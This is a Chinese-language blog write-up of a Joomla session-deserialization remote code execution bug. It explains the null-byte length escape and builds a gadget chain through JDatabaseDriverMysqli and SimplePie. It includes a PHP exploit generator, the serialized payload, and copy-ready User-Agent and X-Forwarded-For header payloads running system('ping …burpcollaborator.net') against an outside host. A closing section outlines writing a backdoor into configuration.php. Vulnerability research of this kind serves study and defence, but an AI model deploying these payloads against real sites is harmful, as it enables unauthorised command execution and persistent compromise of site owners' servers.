参考链接:
- https://1day.dev/web/2019/10/03/rusty-joomla-rce.html
- https://www.php.net/manual/en/function.session-decode.php
概述
这个漏洞是由于Joomla在处理session数据的部分引起的
关键代码就在session handler的read和write方法处:
\libraries\joomla\session\storage\database.php
第46和71行
$data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
由Joomla处理而产生的\0
只会占一个字节,因为它原来是空字节和*
字符,所以在序列化的数据中s:3:\0\0\0
是正常的,但是如果我们手动注入了\0\0\0
字符,那么序列化的数据就是s:6:\0\0\0
,但是read方法会把\0\0\0
替换为Null*Null
,替换之后只占3个字节,多出来的这3字节就给了我们可乘之机,,对象注入就是从这里产生的
分析
下面的内容实际上是对网上exp的分析,不同的是网上公开的exp使用的是序列化数据中的username和password字段,但是这个不具有普遍性,因为它需要能够访问index.php/components/user.php
,并不是所有的网站都会处理这个请求,在下面的分析中,我选择通过user-agent和x-forwaard-for这两个http头进行漏洞利用
因为只要两个字段是连续的即可,前一个字段用于撑大空间,后一个字段用于注入对象,因此除了username和password字段,x-forwarded-for和user-agent字段也是可以实现的
预备知识
这是一段正常的Joomla session数据:
__default|a:8:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625763909;s:18:"session.timer.last";i:1625763909;s:17:"session.timer.now";i:1625763909;s:22:"session.client.browser";s:131:"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"56bb4f43d168909f6df0e1a50fd84b17";}
这里需要注意的是,php序列化session用的方法和serialize
方法是不完全一样的,它的一般格式为:
key|serialize data
除了前面的键和|
,后面的序列化数据和serialize
函数产生的序列化数据是一致的
对于对象的序列化,不同的权限修饰符下的成员变量序列化之后的数据也是有差异的:
<?php
class TestClass {
PermissionDecorator $testMember;
public function __construct($t)
{
$this->testMember = $t;
}
}
$data = new TestClass("fuckyou");
public:
"O:9:"TestClass":1:{s:10:"testMember";s:7:"fuckyou";}"
protected:
"O:9:"TestClass":1:{s:13:"\x00*\x00testMember";s:7:"fuckyou";}"
private:
"O:9:"TestClass":1:{s:21:"\x00TestClass\x00testMember";s:7:"fuckyou";}"
准备对象构造
我们先来看一下正常的user-agent和x-forwarded-for序列化之后的样子
__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625766121;s:18:"session.timer.last";i:1625766121;s:17:"session.timer.now";i:1625766121;s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"633f966f72f7287671a24606baed1113";}
s:24:"session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent";
如果把上面的normal_user_agent
替换成normal_user_agent";SerializedObject
,那么我们就有可能完成对象的注入,唯一的问题是前面有一个s:17
限制我们的长度,导致session反序列化失败,无法完成对象注入
结合前面的\0\0\0
替换漏洞,我们可以往ormal_x_for_warded_for
中添加若干组\0\0\0
来扩大s:23
中的23
,以囊括
session.client.forwarded";s:23:"normal_x_for_warded_for";s:22:"session.client.browser";s:17:"normal_user_agent
其实就是一个简单的方程式:
6x + 23 = 3x + 55 + 23 ==> 3x = 55
23
是normal_x_for_warded_for
的长度,55
是";s:22:"session.client.browser";s:17:"normal_user_agent
的长度
除不尽,只需要往normal_user_agent
再加2个字符即可;
3x = 57 ==> x=19
这是构造完的http请求对应的session数据
hj__default|a:9:{s:15:"session.counter";i:1;s:19:"session.timer.start";i:1625767987;s:18:"session.timer.last";i:1625767987;s:17:"session.timer.now";i:1625767987;s:24:"session.client.forwarded";s:137:"normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";s:22:"session.client.browser";s:33:"normal_user_agent12";ObjectInject";s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";a:2:{i:0;i:1;i:1;i:9;}s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b4131b29f0fae45b8d98576b25ceb35a";}
Joomla在read session数据时,将\0\0\0
替换成Null*Null
,也就是将6字节缩短为3字节,那么上面数据中的137
也就缩短为80
了,加上后面的
";s:22:"session.client.browser";s:33:"normal_user_agent12
长度为57,正好是137,这样我们注入的对象就逃逸出来了
构造对象序列化字符串
选择libraries\joomla\database\driver\mysqli.php
作为反序列化对象,因为它的析构函数中调用了disconnect
方法,而该方法中调用了call_user_func_array方法,而且第一个参数是可控的:$this->disconnectHandlers
call_user_func_array函数的第一个参数可以是一个数组:
call_user_func_array(array(object function), args);
那么最后调用的形式为:
object.function(args);
这里我们虽然控制不了传递给方法的参数,但是我们可以控制调用的方法
我们选择使用libraries\simplepie\simplepie.php
中的SimplePie
对象的init
方法
第1550行:
$cache = call_user_func(array($this->cache_class, 'create'), $this->cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
这里可以看到call_user_func方法的两个参数我们全部可以控制,进而达到RCE
简单看一下SimplePie的init方法的代码我们就可以写出下面的exp:
<?php
namespace {
class JSimplepieFactory {
}
}
namespace {
class SimplePie_Sanitize {
}
}
namespace {
class SimplePie {
public $sanitize;
public $raw_data;
public $feed_url;
public $cache_name_function;
}
}
namespace {
class JDatabaseDriverMysqli {
//我们需要伪造一个成员变量JSimplepieFactory对象,来引入SimplePie类文件
protected $justincase;
protected $disconnectHandlers;
protected $connection;
public function __construct($justincase, $disconnectHandlers, $connection) {
$this->justincase = $justincase;
$this->disconnectHandlers = $disconnectHandlers;
$this->connection = $connection;
}
}
}
namespace {
require __DIR__.'/vendor/autoload.php';
$a = new \SimplePie;
$a->sanitize = new \SimplePie_Sanitize;
$a->raw_data = "12138";
$a->feed_url = "print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";
$a->cache_name_function = "assert";
$b = new \JDatabaseDriverMysqli(new \JSimplepieFactory, array(array($a, "init")), 1);
dump(serialize($b));
}
?>
上面有一个值得注意的地方,就是伪造了一个在JDatabaseDriverMysqli类定义中根本不存在的成员变量$justincase
,并将其值设置为一个JSimplepieFactory对象,这是因为我们使用的SimplePie类并不在Joomla的类查找路径中,也没有被自动加载到应用中,它是由libraries\legacy\simplepie\factory.php
引入的
第12行:
jimport('simplepie.simplepie');
我们通过伪造这个成员变量,让php初始化JSimplepieFactory类,进而达到引入SimplePie类的目的
上面的exp生成的序列化字符串如下:
O:21:"JDatabaseDriverMysqli":3:{s:13:"\x00*\x00justincase";O:17:"JSimplepieFactory":0:{}s:21:"\x00*\x00disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\x00*\x00connection";i:1;}
漏洞利用
根据前面的分析,我们可以构造出如下payload:
x-forwarded-for:
normal_x_for_warded_for\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0
user-agent:
normal_user_agent1";s:3:"key";O:21:"JDatabaseDriverMysqli":3:{s:13:"\0\0\0justincase";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":4:{s:8:"sanitize";O:18:"SimplePie_Sanitize":0:{}s:8:"raw_data";s:5:"12138";s:8:"feed_url";s:88:"print(system('ping 7muhj0w6wr91quue8h8i53pxjoped3.burpcollaborator.net'));http://144.one";s:19:"cache_name_function";s:6:"assert";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:4:"key1";s:6:"value1";s:4:"key2";s:6:"value2";s:4:"key3";s:888:
注意上面的normal_user_agent1
,这里我又把2
去掉了,是因为由于payload变长,之前的长度由两位数变成了三位数
session_decode方法可以正常解析我们构造的session数据
我们只需要使用第一次请求返回的cookie再次发送请求即可完成命令执行
后记
上面只能一次次地发起请求来进行命令执行,有一种更加方便的方式,就是直接将后门写入Joomla应用的根目录下的configuration.php文件中
这个文件是最理想的文件,它和index.php位于同一个目录,而且文件结尾没有?>
,我们可以通过file_put_contents方法将内容写入到该文件中
相比上面的exp,唯一需要变动的就是要让session_decode失败,从而将调用栈落回到index.php上
如果可以正常进行session_decode,那么调用栈的最低层会变成libraries\joomla\database\driver\mysqli.php
,会出现找不到configuration.php文件的问题
不足之处,欢迎指正